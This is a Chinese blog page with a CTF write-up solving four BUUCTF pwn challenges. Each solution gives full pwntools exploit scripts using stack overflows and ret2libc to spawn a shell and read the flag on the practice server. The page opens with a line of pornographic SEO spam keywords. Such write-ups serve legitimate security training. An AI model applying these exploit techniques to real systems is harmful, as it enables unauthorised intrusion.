日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-3

發布時間:2023/12/10 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-3 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-3

    • [OGeek2019]babyrop
    • ciscn_2019_n_8
    • get_started_3dsctf_2016
    • jarvisoj_level2

[OGeek2019]babyrop

簡單的ret2libc,構造rop
main函數中讀取一個隨機數到buf中,傳入sub_804871F
用"\x00"來繞過strlen和strncmp,buf[7]作為返回值

傳入sub_804871F返回的buf[7]作為要讀取的長度,設置為255,構成棧溢出

最后是ret2libc腳本,一開始用io.sendline()不行,它會自動加一個"\n",在將緩沖區填充滿的情況下又加了一個"\n",導致打印不出write_addr,換成io.send()就可以了,它不會自動加"\n"

from pwn import * #context.log_level="debug" io=remote('node4.buuoj.cn',29571) elf=ELF('./pwn') libc=ELF('./libc-2.23-16-x32.so') payload="\x00"+"a"*6+p8(255)+"b"*24 io.send(payload) io.recvuntil('Correct\n') write_got=elf.got['write'] write_plt=elf.plt['write'] main_addr=0x08048825 payload="a"*(231+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.send(payload) write_addr=u32(io.recv(4)) print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search("/bin/sh").next() payload="\x00"+"a"*6+p8(255)+"b"*24 io.send(payload) io.recvuntil('Correct\n') payload="a"*(231+4)+p32(system)+p32(0xdeadbeef)+p32(binsh) io.send(payload) io.sendline("cat flag") io.interactive()

ciscn_2019_n_8

main函數中,驗證var[13]==0x11是否成立
可以知道var中數組元素都是_DWORD類型的,即雙字,四字節,32位
在第13行的if語句中,從var[13]的起始地址開始,讀取了一個_QWORD類型的數字,即四字,八字節,64位

于是可以構造輸入為,前13個為32位的數字,后接一個64位的0x11,即可驗證通過,執行系統調用

from pwn import * #context.log_level="debug" io=remote('node4.buuoj.cn',28433) io.recvuntil("What's your name?\n") payload=p32(0)*13+p64(0x11) io.sendline(payload) io.sendline("cat flag") io.interactive()

get_started_3dsctf_2016

靜態編譯的elf
main函數中存在棧溢出,覆蓋eip到后門函數get_flag
構造payload的時候,發現main函數是用esp尋址的,不用覆蓋ebp,填充完緩沖區后直接覆蓋eip
后面的返回地址不能隨便填,找到一個exit函數,填exit的地址
最后再帶上get_flag函數中要驗證的兩個參數

from pwn import * #context.log_level="debug" io=remote('node4.buuoj.cn',28168) get_flag=0x080489A0 exit=0x0804E6A0 payload="a"*56+p32(get_flag)+p32(exit)+p32(0x308CD64F)+p32(0x195719D1) io.sendline(payload) io.interactive()

jarvisoj_level2

簡單的棧溢出,ret2syscall
可執行文件留有system,還給了hint,即"/bin/sh"
利用棧溢出,覆蓋eip到system,帶上參數hint,即可getshell

from pwn import * io=remote('node4.buuoj.cn',26226) elf=ELF('./level2') io.recvuntil("Input:\n") hint=elf.sym['hint'] system=elf.plt['system'] main_addr=0x08048480 payload="a"*(136+4)+p32(system)+p32(main_addr)+p32(hint) io.sendline(payload) io.sendline("cat flag") io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-3的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。